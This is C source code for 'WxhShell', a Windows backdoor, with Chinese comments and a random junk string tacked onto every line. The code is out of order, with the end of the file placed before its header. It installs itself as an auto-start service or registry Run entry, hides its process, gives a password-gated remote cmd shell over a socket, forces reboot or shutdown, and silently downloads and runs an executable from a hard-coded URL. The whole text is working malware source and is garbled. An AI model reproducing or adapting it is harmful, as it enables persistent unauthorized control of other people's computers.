    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3+EJ%  
    else { 2^ ^;Q:  
    closesocket(wsh); P>)-uLc~W  
    ExitThread(0); k]qZOO}  
    } ,au64sH  
    break; 5caYA&R  
    } N>/*)Frt  
  // 获取shell p87s99  
  case 's': { xGk@BA=0<  
    CmdShell(wsh); n{r+t=X  
    closesocket(wsh); pnxjuDN7}x  
    ExitThread(0); U`W^w%  
    break; p0qQ(  
  } L}XERO TR  
  // 退出 |Mo# +{~c  
  case 'x': { w_KGn17  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @7u4v%,wB  
    CloseIt(wsh); Jtd@8fVi  
    break; jm.pb/  
    } .x(&-  
  // 离开 IywovN Tr  
  case 'q': { cQ6[o"j.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); KfG%#2\G_  
    closesocket(wsh); @Sq=#f/=  
    WSACleanup(); 7@fd[  
    exit(1); !Ya +  
    break; c5;YKON  
        } cuq7eMG6z  
  } i_`YZ7Hxp  
  } DECX18D  
Wq<>a;m  
  // 提示信息 }ebw1G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rHT8a^MO  
} M0=ZAsN  
  } D'fP2?3FK  
g#9w5Q  
  return; -fL|e/   
} J:?t.c~$o  
mH;Z_ME"  
// shell模块句柄 u8+<uWB  
int CmdShell(SOCKET sock) P^rSpS9  
{ E0xUEAO  
STARTUPINFO si; K ANE"M   
ZeroMemory(&si,sizeof(si)); .Z%7+[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; px//q4 U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n  'P:  
PROCESS_INFORMATION ProcessInfo; )tFFa*Z'  
char cmdline[]="cmd"; f910drg7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %bDd  
  return 0; "sT`Dhr  
} ^}/YGAA  
*n}9_V%  
// 自身启动模式 *XniF~M  
int StartFromService(void) qgI Jg6x/}  
{ 1yX&iO^d  
typedef struct ;4 ?%k )  
{ 7w>"M  
  DWORD ExitStatus; D1o 8Wo  
  DWORD PebBaseAddress; k\ I$ve"*  
  DWORD AffinityMask; "MoV*U2s,  
  DWORD BasePriority; Kw!`u^>  
  ULONG UniqueProcessId; *9PS2*n  
  ULONG InheritedFromUniqueProcessId; hXz"}X n  
}   PROCESS_BASIC_INFORMATION; 9?,n+  
$XyGCn  
PROCNTQSIP NtQueryInformationProcess; }Lb];hww1  
Wv=L_E_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z]w_2- -  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cb'8Li8,j  
:6HMb^4  
  HANDLE             hProcess; JYv&It  
  PROCESS_BASIC_INFORMATION pbi; ZmmuP/~2K  
Tw!x*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ec=4L@V*  
  if(NULL == hInst ) return 0; HS(<wI  
y{j>4g$:z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Qbv)(&i# ~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *2:)Rf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5VG@Q%  
6bHj<6>MX  
  if (!NtQueryInformationProcess) return 0; .*Hv^_  
>W-e0kkH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D|=QsWZI  
  if(!hProcess) return 0; 'O{hr0q}  
Jc:G7}j6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PU -~7h+$  
/)oxuk&}c  
  CloseHandle(hProcess); DU 8)c$  
K9w24Oka  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )s6tj lf8  
if(hProcess==NULL) return 0; V 8n}"  
f_Wn[I{  
HMODULE hMod; !^8'LMY<I  
char procName[255]; #e8CuS  
unsigned long cbNeeded; KpwUp5K  
?[m5|ty#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Llk`  
HnY: gu  
  CloseHandle(hProcess); xFpJ#S&  
^xqh!  
if(strstr(procName,"services")) return 1; // 以服务启动 c#Y9L+O  
8V}c(2m  
  return 0; // 注册表启动 |ZZ3Qr+%S  
} &Q&$J )0  
)9<)mV*EB(  
// 主模块 !. 0W?6yo  
int StartWxhshell(LPSTR lpCmdLine) X(WG:FP27  
{ 6?,r d   
  SOCKET wsl; ~)ByARao=  
BOOL val=TRUE; q5HHMHB  
  int port=0; OmoY] 8N}  
  struct sockaddr_in door; Q'A->I<;_s  
(1Kh9w:^"  
  if(wscfg.ws_autoins) Install(); M2oKLRt)L  
V).M\  
port=atoi(lpCmdLine); rcyH2)Y/e  
E* lqCh  
if(port<=0) port=wscfg.ws_port; @l;f';+  
/1OhW>W3eH  
  WSADATA data; c69C=WQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~z< ? Wh  
SnXYq 7`t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F[?t"d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7 'f>  
  door.sin_family = AF_INET; KRXe\Sx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g8qN+Gg  
  door.sin_port = htons(port); l7x%G@1#~W  
Y: byb68  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eA+6-'qN  
closesocket(wsl); 0&mz'xra  
return 1; Sk1yend4  
} V'6%G:?0a  
G7),!Qol  
  if(listen(wsl,2) == INVALID_SOCKET) { wEkW=  
closesocket(wsl); 3b[_0  
return 1; (JF\%Yj/  
} QTLOP~^  
  Wxhshell(wsl); =j}00,WH  
  WSACleanup(); Ur@'X-  
?EpY4k8,  
return 0; 3ea6g5kX  
sxuYwQ  
} J7l1-  
ZM)a4h,kcm  
// 以NT服务方式启动 TI*uNS;-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rsc8lSjH  
{ )?_c7 R  
DWORD   status = 0; W}Z|v M$  
  DWORD   specificError = 0xfffffff; s\KV\5\o  
S&QZ"4jq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; goxgJOiB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U| y+k`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w>!KUT  
  serviceStatus.dwWin32ExitCode     = 0; Qp< 6qM35  
  serviceStatus.dwServiceSpecificExitCode = 0; "1l d4/  
  serviceStatus.dwCheckPoint       = 0; :|fzGf  
  serviceStatus.dwWaitHint       = 0; QzV:^!0J  
QiZThAe  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a"ht\v}1  
  if (hServiceStatusHandle==0) return; |\b*p:e l  
K(Cv9YQ  
status = GetLastError(); /[us;=CM  
  if (status!=NO_ERROR) *.i` hfRc  
{ r<~1:/F|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; av5lgv)3  
    serviceStatus.dwCheckPoint       = 0; +:^tppg  
    serviceStatus.dwWaitHint       = 0; Q *lZ;~R  
    serviceStatus.dwWin32ExitCode     = status; D&]SPhX  
    serviceStatus.dwServiceSpecificExitCode = specificError; hZyz5aZ)K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9cj:'KG)!  
    return; \Hy~~Zh2  
  } #|gt(p]C  
S(rA96n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hsVWD,w  
  serviceStatus.dwCheckPoint       = 0; 3|@Ske1%Y  
  serviceStatus.dwWaitHint       = 0; pET5BMxGG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <)"Mi}Q[)p  
} gE:qMs;  
v'DL >Y  
// 处理NT服务事件,比如:启动、停止 8Y&(o-R0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $_<,bC1[  
{ QZd ,GY5{  
switch(fdwControl) { \Q'eL8  
{ e&wW lB![  
case SERVICE_CONTROL_STOP: {E!$<A9  
  serviceStatus.dwWin32ExitCode = 0; z?+N3p9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A!hkofQ  
  serviceStatus.dwCheckPoint   = 0;  DMf:u`<  
  serviceStatus.dwWaitHint     = 0; -,p(PK  
  { \]o#tYN\a0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yyBy|7QgO  
  } Qs*g)Yr  
  return; Y.=v!*p?}  
case SERVICE_CONTROL_PAUSE: M3x%D)*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ga~IOlS  
  break; P~=|R9 t  
case SERVICE_CONTROL_CONTINUE: CFn!P;.!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7]G3yt->  
  break; X_"TG;*$  
case SERVICE_CONTROL_INTERROGATE: ]3C7guWz  
  break; hPH= .rX  
}; e >MC 3D`5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Au:Q4x.  
} 3;#v$F8R  
A-4\;[P\  
// 标准应用程序主函数 lB3W|-Ci  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LiiQ;x  
{ 347p2sK>  
4WDh8U  
// 获取操作系统版本 nV GrW#'E  
OsIsNt=GetOsVer(); 3C2L _ K3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RV7l=G9tq  
j@Z4(X L  
  // 从命令行安装 $\{@wL  
  if(strpbrk(lpCmdLine,"iI")) Install(); bf::bV?T  
$c[8-=  
  // 下载执行文件 p]IF=~b  
if(wscfg.ws_downexe) { i!jx jP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |WlWZ8]  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~x`OCii  
} `0Qzu\gRb  
k6. }.  
if(!OsIsNt) { l *.#g  
// 如果时win9x,隐藏进程并且设置为注册表启动 gHA"O@HgDI  
HideProc(); "ifYy>d  
StartWxhshell(lpCmdLine); leX&py  
} |%we@ E  
else r#3(;N{=  
  if(StartFromService()) ;#cb%e3  
  // 以服务方式启动 IIs'm!"Y>  
  StartServiceCtrlDispatcher(DispatchTable); WHMt$W}%  
else KK}^E_v  
  // 普通方式启动 i5q VQo  
  StartWxhshell(lpCmdLine); wjQu3 ,Cj  
hH|3s-o  
return 0; j:\MrYt0H  
} i\2~yXw\  
3<CCC+47  
{Jwh .bJ  
( {5LB4  
=========================================== 9 }jF]P*Q  
>2,x#RQs  
+|KnO  
Ztr,v$  
=gw 'MA  
E9YR *P4$  
" |fOQm  
, 0MDkXb  
#include <stdio.h> z*"zXL C  
#include <string.h> uL\ B[<:  
#include <windows.h> L "P$LEk  
#include <winsock2.h> SBg BZm}%  
#include <winsvc.h> 3g`uLA X>u  
#include <urlmon.h> D:/^TEib  
I|@%|sTW  
#pragma comment (lib, "Ws2_32.lib") aI{Ehbf=  
#pragma comment (lib, "urlmon.lib") oMM`7wJw  
bO8g#rO  
#define MAX_USER   100 // 最大客户端连接数 @GK0j"_  
#define BUF_SOCK   200 // sock buffer /Z94<}C6b  
#define KEY_BUFF   255 // 输入 buffer B#N(PvtE  
D ]:sR  
#define REBOOT     0   // 重启 R6r'[- B2  
#define SHUTDOWN   1   // 关机 'C)`j{CS  
W MU9tq[  
#define DEF_PORT   5000 // 监听端口 )xy1 DA  
(:4N#p  
#define REG_LEN     16   // 注册表键长度 #qtAFIm'  
#define SVC_LEN     80   // NT服务名长度 a4Qr\"Qm  
]<V[H  
// 从dll定义API ~D PjTR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @bSxT,2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {m.l{<H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $h"tg9L^)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?~Fk_#jz,@  
6-c3v  
// wxhshell配置信息 hOx'uO`x(  
struct WSCFG { & gnE"  
  int ws_port;         // 监听端口 , `ST Va-  
  char ws_passstr[REG_LEN]; // 口令 0&} "!)  
  int ws_autoins;       // 安装标记, 1=yes 0=no BqC!78Y/e  
  char ws_regname[REG_LEN]; // 注册表键名 w]J9Kv1)-  
  char ws_svcname[REG_LEN]; // 服务名 GsA/pXx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XCc /\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jeXv)}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K[!OfP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;P3sDN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jCa%(2~iQ7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rXPq'k'h#-  
w7 @fiH{  
}; 3(0k!o0 "  
.'k]]2%ILp  
// default Wxhshell configuration `xMmo8u4  
struct WSCFG wscfg={DEF_PORT, ) jv]Oz  
    "xuhuanlingzhe", TPH`{  
    1, ViIt 'WX  
    "Wxhshell", $hZb<Xz  
    "Wxhshell", sEP-jEuwG  
            "WxhShell Service", fl#gWAM  
    "Wrsky Windows CmdShell Service", (Z;;v|F.i=  
    "Please Input Your Password: ", <5X?6*Qvr  
  1, r~&"D#)sy  
  "http://www.wrsky.com/wxhshell.exe", #; CC"  
  "Wxhshell.exe" >>oR@  
    }; #9M6 q  
^x-vOG lR  
// 消息定义模块 uu@Y]0-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B8 ;jRY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PY- 1 oP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; = _X#JP79  
char *msg_ws_ext="\n\rExit."; Q\|72NWS  
char *msg_ws_end="\n\rQuit."; 2#:/C:  
char *msg_ws_boot="\n\rReboot..."; (C>FM8$J  
char *msg_ws_poff="\n\rShutdown..."; 4=!SG4~o  
char *msg_ws_down="\n\rSave to "; yr?*{;  
a+sHW<QeS  
char *msg_ws_err="\n\rErr!";  AV{3f`  
char *msg_ws_ok="\n\rOK!"; 7N9~nEU  
#-*7<wN   
char ExeFile[MAX_PATH]; sLrSi  
int nUser = 0; Z M_ 6A1  
HANDLE handles[MAX_USER]; t[*;v  
int OsIsNt; (7/fsfsF  
`B'*ln'r5  
SERVICE_STATUS       serviceStatus; G|MjKe4}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^K*uP^B=  
BB@I|)9O(  
// 函数声明 .@KpN*`KH  
int Install(void); golr,+LSo  
int Uninstall(void); {@, } M  
int DownloadFile(char *sURL, SOCKET wsh); ^wNx5t  
int Boot(int flag); #2l6'gWE0  
void HideProc(void); Fb#.Gg9b>  
int GetOsVer(void); hiO:VA  
int Wxhshell(SOCKET wsl); A`_(L|~  
void TalkWithClient(void *cs); kzU;24"K  
int CmdShell(SOCKET sock); U'(}emh}  
int StartFromService(void); `7_=2C  
int StartWxhshell(LPSTR lpCmdLine); DID&fj9m  
swNJ\m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l}odW  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  t9T3e  
<{ !^  
// 数据结构和表定义 o8B_;4uB  
SERVICE_TABLE_ENTRY DispatchTable[] = banie{ e  
{ lCT N dW+=  
{wscfg.ws_svcname, NTServiceMain}, H^_]' ~.  
{NULL, NULL} rw_T&>!  
}; dayp1%d  
6Q S[mWU  
// 自我安装 m| 8%%E}d  
int Install(void) $Gt1T[:QUX  
{ D>"U0*h  
  char svExeFile[MAX_PATH]; *I,3,zO  
  HKEY key; 8&snLOU -Q  
  strcpy(svExeFile,ExeFile); . +_IpygQ  
G tI]6t  
// 如果是win9x系统,修改注册表设为自启动 j$r.&,m  
if(!OsIsNt) { B198_T!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +bK[3KG4F5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KY'"Mg^!  
  RegCloseKey(key); /LMb~Hy,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k<W n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $mFsf)1]]?  
  RegCloseKey(key); Jg#L8>p1  
  return 0; S~^0 _?  
    } qZRx,^gd  
  } nsR^TD;  
} uV1H iv-  
else { bDd$79@m  
bSHlR#!6  
// 如果是NT以上系统,安装为系统服务 Q)N$h07R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QYDTb=h~  
if (schSCManager!=0) 8\c= Un  
{ {MX_t/o=f  
  SC_HANDLE schService = CreateService 86d *  
  ( | rJ_  
  schSCManager, %4QCUc*lr  
  wscfg.ws_svcname, dLOUL9hf  
  wscfg.ws_svcdisp, KI(9TI *  
  SERVICE_ALL_ACCESS, xR+=F1y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f:iK5g  
  SERVICE_AUTO_START, Ht^MY  
  SERVICE_ERROR_NORMAL, *]G&pmMs  
  svExeFile, !1<x@%  
  NULL, YbZ<=ZzO4  
  NULL, $4.mRS97g  
  NULL, 4eb<SNi  
  NULL, JtYc'%OF  
  NULL E:BEQ:(~L  
  ); S!J.$Y<Ko  
  if (schService!=0) x)<5f|j  
  { oH~ZqX.3  
  CloseServiceHandle(schService); oiAU}iK:  
  CloseServiceHandle(schSCManager); QrDrd A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _@D}2  
  strcat(svExeFile,wscfg.ws_svcname); rXo2MX@u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Bu?"b=B*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DJgk"'  
  RegCloseKey(key); Gjuc"JR7  
  return 0; wqo2iRql  
    } ?QO)b9  
  } Re?sopg0r  
  CloseServiceHandle(schSCManager); -F,o@5W>Y  
} U,/NygB~  
} D[{p~x^  
aq3evm  
return 1; :6LOb f\01  
} cqeId&Cg  
uE:#m.Q  
// 自我卸载 R =HN>(U  
int Uninstall(void) S |T:rc(~  
{ [;dWFG"f  
  HKEY key; UNocm0!N'  
@%J?[PG  
if(!OsIsNt) { G\h8j*o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )>a t]mH  
  RegDeleteValue(key,wscfg.ws_regname); BXueOvO8  
  RegCloseKey(key); A`u04Lm7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v}dt**l  
  RegDeleteValue(key,wscfg.ws_regname); o*/\ oVOq  
  RegCloseKey(key); oMda)5 &  
  return 0; {B|U8j[  
  } S4<@ji  
} | (P%<  
} HCQv"i}-  
else { Rf2/[  
`h5HA-ud  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `g% ]z@'+?  
if (schSCManager!=0) aq"E@fb  
{ rBs7,h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y5?T`ts,#  
  if (schService!=0) Cq1t[a  
  { #Q6wv/"Ub  
  if(DeleteService(schService)!=0) { S6}_Z  
  CloseServiceHandle(schService); S}e*~^1J  
  CloseServiceHandle(schSCManager); &nn!{S^  
  return 0; /6F 1=O(c>  
  } @FkNT~OZ  
  CloseServiceHandle(schService); ,IuO;UV#)  
  } YkPz ~;  
  CloseServiceHandle(schSCManager); Y'/`?CK  
} .^#{rk  
} [.<nt:  
$Z 10Zf=  
return 1; `6j?2plZ  
} 3f's>+,#%  
M@!Gk  
// 从指定url下载文件 ]Ke|wRQD  
int DownloadFile(char *sURL, SOCKET wsh) k}>l+_*+7  
{ 05*_h0}  
  HRESULT hr; vJ GxD\h  
char seps[]= "/"; v Xio1hu  
char *token; [k-7Kq  
char *file; m|~,#d@  
char myURL[MAX_PATH]; f]$ g9H  
char myFILE[MAX_PATH]; %H<w.]>  
_KmpC>J+  
strcpy(myURL,sURL); ~2@U85"o  
  token=strtok(myURL,seps); K *vNv 4  
  while(token!=NULL) /Re1QS  
  { {z@vSQ=)=P  
    file=token; G+[>or}  
  token=strtok(NULL,seps); Djf2ir'  
  } dG7sY O@U  
/dOQ4VA\  
GetCurrentDirectory(MAX_PATH,myFILE); pRc(>P3;  
strcat(myFILE, "\\"); WbH/K]/1)h  
strcat(myFILE, file); !nVX .m9  
  send(wsh,myFILE,strlen(myFILE),0); IvIBf2D;Q  
send(wsh,"...",3,0); mm#U a/~1u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &%u,b~cL?  
  if(hr==S_OK) g/z9bOgIX  
return 0; 8f^URN<x  
else Kox~k?JK  
return 1; yF0,}  
Zpb3>0<R  
} }J`{g/  
2l5@gDk5  
// 系统电源模块 (~Zg\(5#  
int Boot(int flag) K 1:F{*  
{ 2SG|]=  
  HANDLE hToken; 6El%T]^  
  TOKEN_PRIVILEGES tkp; =q xcM+OX1  
O-T/H-J`  
  if(OsIsNt) { u.hnQsM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R~RY:[5?w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *kyy''r  
    tkp.PrivilegeCount = 1; (-dJ0!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qwFn(pK[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vo7 1T<K  
if(flag==REBOOT) { fil6w</L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \TMRS(  
  return 0; 3%EwA\V(  
} "6KOql3  
else { Cc Ni8Wg_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {##A|{$3%  
  return 0; |xKB><  
} ;;nmF#  
  } D@ =.4z  
  else { [c86b  
if(flag==REBOOT) { bMSF-lQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ui 2RTAb  
  return 0; <Isr  
} y Fp1@*ef  
else { *"zE,Bp"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  iI ^{OD  
  return 0; +Z;0"'K'e  
} #UWQ (+F  
} 6@F Z,e  
3"L$*toRA  
return 1; @XIwp2A{+  
} '.kbXw0}  
*;gi52tM  
// win9x进程隐藏模块 R:ar85F  
void HideProc(void) HYg _{  
{ xD1wHp!+  
Y(A?ib~K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UVI=&y]c,p  
  if ( hKernel != NULL ) n,HWVo>([  
  { ~{NDtB)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UT{N ly8u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pwZ &2&|  
    FreeLibrary(hKernel); _v $mGZpGY  
  } W\KZFrV@  
@ics  
return; I" j7  
} =)I{KT:y  
O/-OW: 03  
// 获取操作系统版本 @K+u+} R  
int GetOsVer(void) >XZq=q]E!  
{ *v5y]E%aW  
  OSVERSIONINFO winfo; a9qZI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g)p[A 4  
  GetVersionEx(&winfo); =G72`]#-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cxv) LOl-  
  return 1; Hd2_Cg FB  
  else s~63JDy"E  
  return 0; 5rcno.~QO  
} 92tb`'  
rpXw 8  
// 客户端句柄模块 rvfl~<G*  
int Wxhshell(SOCKET wsl) Z'j<wRf  
{ *l9Y]hinq  
  SOCKET wsh; eBN>|mE4N  
  struct sockaddr_in client; bFJn-g n  
  DWORD myID; x NC>m&T  
eb8_guZ  
  while(nUser<MAX_USER) Q@j:b]Y9  
{ q{5Vq_s\  
  int nSize=sizeof(client);  OB^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); { U<h tl4  
  if(wsh==INVALID_SOCKET) return 1; 4Sl^cKb$7  
eo,]b1C2n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~g,QwaA[  
if(handles[nUser]==0) T(}da**X  
  closesocket(wsh); kN) pi "  
else %FRkvqV*  
  nUser++; dW5z0VuB$/  
  } i)p__Is  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;s!H  
0y1t%C075  
  return 0; s`TBz8QO$  
} hg&AQk  
Fca?'^X  
// 关闭 socket g!QumRF  
void CloseIt(SOCKET wsh) aOuon0  
{ W>Kwl*Cis"  
closesocket(wsh); VuR BJ2D  
nUser--; x$p\ocA  
ExitThread(0); J+4uUf/d!  
} Q:LuRE!t  
wb?hfe  
// 客户端请求句柄 x SUR<  
void TalkWithClient(void *cs) |UaI i^  
{ rTJWftH!  
V cL  
  SOCKET wsh=(SOCKET)cs; eyG.XAP  
  char pwd[SVC_LEN]; 0VZj;Jg}q  
  char cmd[KEY_BUFF]; Y\=:j7'  
char chr[1]; 3k(?`4JJ  
int i,j; S`^W#,rj  
zJy{Ry[Sb  
  while (nUser < MAX_USER) { {!S/8o"]  
CNz[@6-cYU  
if(wscfg.ws_passstr) { 'GyPl  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yUG5'<lX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $5o<Mj  
  //ZeroMemory(pwd,KEY_BUFF); /l`XJs  
      i=0; 5C&f-* Bh  
  while(i<SVC_LEN) { |q>Mw-=  
utE:HD.PN  
  // 设置超时 5 6R,+sN  
  fd_set FdRead; EpfmH `  
  struct timeval TimeOut; S ] &->5"  
  FD_ZERO(&FdRead); M}<=~/k`j  
  FD_SET(wsh,&FdRead); +u2Co_FJ&  
  TimeOut.tv_sec=8; ;n@C(hG  
  TimeOut.tv_usec=0;  {MtB!x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O o:jP6r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E.3}a>f  
Rt|Hma  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n\YxRs7 hF  
  pwd=chr[0]; 3{z|301<m  
  if(chr[0]==0xd || chr[0]==0xa) { r?TK@^z  
  pwd=0; }M9al@"  
  break; {Vm36/a  
  } i<?4iwX%i*  
  i++; 6. jZy~  
    } Hn~1x'$  
Z^l!y5s/H  
  // 如果是非法用户,关闭 socket ChGM7uu2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gK(4<PO'  
} !O-+ h0Z  
THp `!l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v\eBL&WK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8iNAs#s  
o~K2K5I  
while(1) { E0Djo'64  
$yAfs3/%)s  
  ZeroMemory(cmd,KEY_BUFF); QFPx4F7(e  
c v 9 6F  
      // 自动支持客户端 telnet标准   >N J$ac  
  j=0; Wd AGZUp  
  while(j<KEY_BUFF) { SS~Q;9o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u^9c`  
  cmd[j]=chr[0]; w!RH*S  
  if(chr[0]==0xa || chr[0]==0xd) { .7FI%  
  cmd[j]=0; "BRE0Ir:  
  break; ,LZ:y1z'V-  
  } Anv8)J!9u  
  j++; uH[0kh  
    } OpLSjr  
N 3c*S"1  
  // 下载文件 E'8Bw7Tz  
  if(strstr(cmd,"http://")) { 5m42Bqy"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p'qH [<s  
  if(DownloadFile(cmd,wsh)) R!,)?j;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); gxM8IQ  
  else "~<~b2Y"5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jVIpbG4 4  
  } njMy&$6a##  
  else { (Y)h+}n5N  
?m1$*j  
    switch(cmd[0]) { ]LTc)[5Zj  
  LDeVNVM  
  // 帮助 GJs[m~`8#  
  case '?': { c!Vc_@V,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J36@Pf]h  
